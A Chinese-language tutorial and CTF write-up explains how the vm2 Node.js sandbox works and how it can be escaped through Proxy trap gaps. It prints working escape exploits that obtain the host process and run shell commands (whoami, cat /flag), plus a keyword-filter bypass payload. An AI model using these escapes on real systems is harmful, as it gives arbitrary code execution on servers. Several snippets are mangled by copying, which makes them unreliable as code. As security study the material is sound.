vm2沙箱逃逸

vm2沙箱逃逸

vm2 API

proxy代理

proxy用于修改某些操作的默认行为,等同于在语言层面做出修改,所以属于一种”元编程”,即对编程语言进行编程,可以理解成在目标对象之前架设一层”拦截”,外界对该对象进行访问时,都必须先通过这层拦截,因此提供一种机制,可以对外界的访问进行过滤和改写,这种操作可以被称为”代理器”

实例

1
2
3
4
5
6
7
8
9
10
var obj = new Proxy({}, {
get: function (target, propKey, receiver) {
console.log(`getting ${propKey}!`);
return Reflect.get(target, propKey, receiver);
},
set: function (target, propKey, value, receiver) {
console.log(`setting ${propKey}!`);
return Reflect.set(target, propKey, value, receiver);
}
});

上面代码相当于对一个空对象架设了一层拦截,对属性的读取(get)和设置(set)行为进行重新的定义,如果对obj里的属性进行读取或设置的话,就会有以下的结果

1
2
3
obj.count=1; //结果为:setting count!

obj.count; //结果为:getting count!

从结果中,我们可以知道对obj里的属性的读取和设置都进行了拦截

而ES6原生提供的Proxy构造函数,用来生成Proxy实例

1
var proxy=new Proxy(target,handler);

其中new Proxy()表示生成一个Proxy实例,而target参数表示要拦截的目标对象,handler参数也是一个对象,用来定制拦截行为

当然有一个技巧是将Proxy对象,设置到object.proxy属性,从而可以在object对象上调用,即

1
var object={proxy:new Proxy(target,handler)};

实例

1
2
3
4
5
6
7
8
var proxy = new Proxy({}, {
get: function(target, propKey) {
return 35;
}
});

let obj = Object.create(proxy);
obj.time // 35

proxy对象是obj对象的模型,而由于obj对象本身并没有time属性,所以根据原型链,会在proxy对象上读取该属性,导致被拦截

同一个拦截函数可以设置多个拦截操作,一共13种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
get(target,propKey,receiver):拦截对象属性的读取

set(target,propKey,value,receiver):拦截对象属性的设置

has(target,propKry):拦截propKey in proxy的操作,返回一个布尔值

deleteProperty(target, propKey):拦截delete proxy[propKey]的操作,返回一个布尔值。

ownKeys(target):拦截Object.getOwnPropertyNames(proxy)、Object.getOwnPropertySymbols(proxy)、Object.keys(proxy)、for...in循环,返回一个数组

getOwnPropertyDescriptor(target, propKey):拦截Object.getOwnPropertyDescriptor(proxy, propKey),返回属性的描述对象

defineProperty(target, propKey, propDesc):拦截Object.defineProperty(proxy, propKey, propDesc)、Object.defineProperties(proxy, propDescs),返回一个布尔值

preventExtensions(target):拦截Object.preventExtensions(proxy),返回一个布尔值。

getPrototypeOf(target):拦截Object.getPrototypeOf(proxy),返回一个对象

isExtensible(target):拦截Object.isExtensible(proxy),返回一个布尔值。

setPrototypeOf(target, proto):拦截Object.setPrototypeOf(proxy, proto),返回一个布尔值

apply(target, object, args):拦截 Proxy 实例作为函数调用的操作

construct(target, args):construct(target, args)

vm2实现原理

vm2的代码有四个主要文件

1
2
3
4
5
6
7
8
9
10
11
cli.js:实现vm2的命令行调用

contextify.js:封装了三个对象,Contextify和Decontextify,并且针对global的Buffer类进行代理

main.js:vm2执行的入口,导出了nodeVM,VM这两个沙箱环境,还有一个VMSCript实际上是封装了vm.Script

sandbox.js:针对global的一些函数和变量进行了hook,如:setTimeout,setInterval等

vm2利用es6新增的proxy特性来拦截对constructor和__proto__这些属性的访问

实例

const {VM, VMScript} = require(“vm2”);

const script = new VMScript(“let a = 2;a”);

let vm = new VM();

console.log(vm.run(script)); //2

1
运行代码的实现

首先,new VMScript(“let a=2;a”)会调用vm.Script编译代码为script

然后,let vm=new VM()会调用vm,createContext创建一个上下文context,然后引入sandbox.js将其封装为一个匿名函数anonymous,之后调用封装的匿名函数anonymous,绑定其中的this为context

最后vm.run(script)会调用vm.runInContext在上下文的context中运行script

1
而且当我们创建VM的对象时,vm2内部会引入contextify.js,针对vm.createContext创建的上下文作为参数传入,并且vm的api会将contextify.js封装为一个匿名函数
    Reflect.defineProperty(this, '_internal', {
        value: vm.runInContext(`(function(require, host) { ${cf} n})`, this._context, {
            filename: `${__dirname}/contextify.js`,
            displayErrors: false
        }).call(this._context, require, host)
    });
1
2

其中对于封装为匿名函数的contextify.js会先定义vm2的一些常量,并且会在global和this上添加了相应的属性

// eslint-disable-next-line no-invalid-this, no-shadow
const global = this;

// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
Object.setPrototypeOf(global, Object.prototype);

Object.defineProperties(global, {
global: {value: global},
GLOBAL: {value: global},
root: {value: global},
isVM: {value: true}
});

1
虽然是在函数体外部写了return语句,所以webstrom报错,但是实际上这串代码还是会封装在函数中的

return{
Contextify,
Decontextify,
Buffer:LocalBuffer
};

1
2
3
其中的Contextify和Decontextify都是两个weakmap,而weakmap是es6新增的语法,只接受对象作为键名,并且这些对象是不会被计入垃圾回收机制的,这是防止内存泄露,而这是用来存储已经被代理过的对象的

而Contextify.readonly 做了些什么

const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
allocUnsafe: function allocUnsafe(size) {
return this.alloc(size);
},
allocUnsafeSlow: function allocUnsafeSlow(size) {
return this.alloc(size);
}
});

1
而对于整个匿名函数调用的顺序是

”global.Buffer=“—->“cobtextify.readonly”—->“contextify.value”—->contextify.value“—->”contextify.function“—->”contextify.object“

1
从匿名函数的调用过程,我们可以看见最后它返回的是代理对象,而且还会做一个object.assign的操作,即将所有可枚举属性的值从一个或多个源对象复制到目标对象,然后返回目标对象,如

const target = { a: 1, b: 2 };
const source = { b: 4, c: 5 };

const returnedTarget = Object.assign(target, source); // Object { a: 1, b: 4, c: 5 }

1
可见source的b会覆盖target的b,而覆盖的1优先级是

deepTraps > traps > {get:…, set: …}

1
2
3
4
5
6
最终会得到Buffer代理对象,而它本身仍然是nodejs提供的,只是vm2加了一层代理,所以在vm2的沙箱中访问它的属性时会被设定的方法拦截,而且Contextify.object 内部还使用了 WeakMap 来存储已经代理过的对象和对象的代理,所以在vm2沙箱环境中,如果是内部的对象,由于vm的实现机制保证了内部定义的对象无法逃逸,而对于外部引入的对象,由于vm2提供的代理机制会拦截constructor等属性的访问,从而保证这个沙箱的安全


实例

在main.js编写如下代码

const {VM, VMScript} = require(‘vm2’);
const fs = require(‘fs’);
const file = ${__dirname}/sandbox.js;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);

console.log(new VM().run(script));

1
2

在sandbox.js中编写

let a = Buffer.from(“”); //访问Buffer的from属性并调用
a.i = () => {}; //给对象添加属性
console.log(a.i); //访问对象的属性

1
2

上面已经写了Buffer是一个代理的对象,访问其所有的属性都会被拦截,而let a=Buffer.from("");代码的调用过程

Buffer.from—->代理的get拦截—->contextify.value—->contextify.function—->contextify.object

1
我们从调用过程中可以看见Buffer代理对象访问其from属性,然后被代理的get方法拦截,经过层层调用后,会返回一个函数的代理对象,而这个代理对象会被当作函数调用,会被apply捕获,apply拦截方法

apply: (target, context, args) => {
try {
context = Decontextify.value(context);

    // Set context of all arguments to host's context.
    return Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
} catch (e) {
    throw Contextify.value(e);
}

}

1
然后apply拦截方法的调用过程

Buffer.from(“”)—>代理apply拦截—>Decontextify.value(context)对上下文解封装—>Decontextify.arguments(args)对参数解封装—>apply函数调用—>contextify.value对得到的结果封装

1
2
3
4
5
这里调用了Decontextify.value,实际上Decontextify的实现和contextify是对称的,只是有点略微的不同,而Decontextify.value首先会检查contextified中是否有这个对象,如果有则直接返回,没有则加一层代理

从这个函数的调用,我们知道vm2针对很多对象做了代理,但是实际调用一次函数时,会将代理的"外壳"给剥除掉,并且必须依靠nodejs提供的api来完成,如果我们可以捕获这个对象,我们就完成vm2的逃逸

之后还会执行

a.i=()=>{};

1
2
3
此时会被代理的se方法拦截

此时的value是一个函数,Decontextify.value 针对其进行了封装,返回一个函数的代理对象,就是说a.i为一个函数的代理对象,而且这个函数的代理对象中

constructor属性返回的会是host.function

1
所以当我们执行最后一行代码时

console.log(a.i);

1
2
3
4
5
6
7
8
9
会被代理的get方法拦截,但是vm2的作者通过contextify.value取出被代理之前的对象,最终还是得到原来的函数,所以无法获得被代理的函数对象

## vm2沙箱逃逸的原理

有两种逃逸方法

### 第一种vm2逃逸方法

它在proxy机制中没有定义has方法,所以我们可以在外部定义has方法,从而让它在触发has方法时调用外部的has方法,而在外部的has方法中可以通过

process = t.constructor(“return process”)();

1
2
3
来访问原型链中的construct属性,从而获得function,使用内置函数执行恶意代码

我们可以通过这个例子来理解一下has方法的触发

var handler = {
get () {
console.log(“get”);
}
};

var target = {};

var proxy = new Proxy(target, handler);

Object.prototype.has = function(){
console.log(“has”);
}

proxy.a; //触发get
“” in proxy; //触发has,这个has是在原型链上定义的

1
2
3
可见在对象target定义了get操作,所以当时使用proxy.a时会打印出get,而当"" in proxy时,由于target对象中没有直接定义has进行拦截,所以会调用外部的has拦截,从而输出has

案例1

var handler = {
get () {
console.log(“get”);
}
};

var target = {};

var proxy = new Proxy(target, handler);

Object.prototype.has = function(){
console.log(“has”);
}

1
由于Buffer.from是一个代理对象,但是在vm2内部的Object中没有has方法,所以我们可以自己给Object对象的原型中添加has方法,这时候运行

“” in Buffer.from

1
2
3
4
5
6
7
8
9
10
就会执行我们自定义的has方法,由于proxy机制,参数t为function Buffer.from,而这个function时在外部,其上下文是 nodejs 的global下,所以访问其 constructor 属性就获取到了外部的 Function,从而拿到外部的 process

修补方法是在Buffer.from中加入has方法,就不会在原型链中查找constructor 属性


### 第二种vm2逃逸方法

我们可以利用Object.defineProperty来设置对象的访问器属性

就是本来代码

var obj = {
prop: let obj = {
prop:123,
Writable: true
}

let jbo = {
get prop(){
return “get”;
},
set prop(val){
console.log(“set”+val);
}
}

console.log(obj.prop); //123
console.log(jbo.prop); //get

1
但是我们可以利用Object.defineProperty

let obj = {};
Object.defineProperty(obj, “prop”, {
get get(){
console.log(“get1”); //get1
return ()=>{return “get2”};
}
})
console.log(obj.prop); //get2

1
此时会先执行get()函数,打印出get1,返回一个函数,作为prop属性的getter,之后访问obj.prop会打印出get2,然后我们再看vm2逃逸的代码

var process;
try {
let a = Buffer.from(“”)
Object.defineProperty(a, “”, {
get set() {
Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});
return ()=>{};
}

});

} catch (e) {
process = e(() => {});
}

1
执行的过程
                  同时”异步执行在Object.prototype上添加get属性“
                                                                   /

“Buffer.from(“”)返回一个代理对象a”—>”Object.defineProperty在a上添加属性,被代理的defineProerty拦截“–>vm2内部访问到Object.prototype.get时”—>”vm2内部抛出异常并被捕获“–>“vm2再次抛出异常e”—>”捕获vm2内部的异常“–>执行e(()=>{})逃逸

1
2
3
此时a是一个代理对象,当我们在a上定义新属性时会被defineProperty拦截,而在defineProperty中有一串代码会检测descriptor上是否设置了get和set,如果是,则会调用外部的host.Object.defineProperty 去实现设置对象属性

但是在执行decriptor.get时,由于nodejs是异步的,所以会触发

Object.defineProperty(Object.prototype, “get”, {
get: function get() {
throw function (x) {
return x.constructor(“return process”)();
};
}
});

1
2

抛出异常

throw x=>x.constructor(“return process”)();

1
而这个异常会被vm2内部捕获,就是这里的e

}catch(e){
throw Contextify.value(e);
}

1
然后vm2会将这个抛出的异常包装成一个代理对象之后,继续抛出,最后被我们的代码捕获

}catch(e){
let k=()=>{};
process=e(k);
}
然后会将其作为函数来调用,就会触发这个函数代理对象的apply方法,此时apply方法中的target为x=>x.constructor(‘return process’)(),context是函数的上下文代理,通过Decontextify.value 之后是 underfined,然后args是函数的参数代理,其值为()=>{},然后会先将函数的参数进行一次处理,然后反射调用函数,并将得到结果包装成代理对象,即函数的参数()=>{}是一个函数,不是代理对象,所以decontextify将其做了一次包装后,成为一个代理对象,然后这个代理对象触发get方法后的constructor属性返回host.function,所以导致了沙箱逃逸

实例just escape

打开页面,发现有提示

1
2
3
/run.php?code=(2%2b6-7)/3

/run.php?code=new%20Date()

然后构造

1
/run.php

发现有源码

1
2
3
4
5
6
7
8
9
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

此时,我们直接构造

1
?code=system("ls");

发现有过滤,然后再仔细查看

1
真的是php嘛

这句话,我们可以推测可能是其它,而nodejs也有eval()函数,所以使用Error().stack测试,发现报错

1
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

从报错中的

1
Error at vm.js:1:1

我们可以猜测可能是vm2沙箱逃逸,所以我们可以利用vm2沙箱逃逸来执行恶意代码,所以我们可以使用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

或者使用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
```

其实简单的说就是利用()=>{}这个函数被包装成代理对像,而这个代理对象中的get方法的constructor属性的返回值为host.function,所以利用其来使用内置类来执行恶意代码

但是这里有对特殊字母有过滤

for, while, process, exec, eval, constructor, prototype, Function

1
2
3
4
所以我们可以利用在关键字母上加反引号`来绕过


或者使用${${prototyp}e}来绕过,即

/run.php?code=(function (){
TypeError[${${prototyp}e}][${${get_proces}s}] = f=>f[${${constructo}r}](${${return this.proces}s})();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e${${get_proces}s}.mainModule${${requir}e}[${${exe}cSync}](cat /flag).toString();
}
})()

```
即可得到flag

参考文章:[https://www.anquanke.com/post/id/207291]

[https://www.anquanke.com/post/id/207283]

[https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy]

[https://github.com/patriksimek/vm2/issues/225]    

[https://www.freesion.com/article/92951402280/]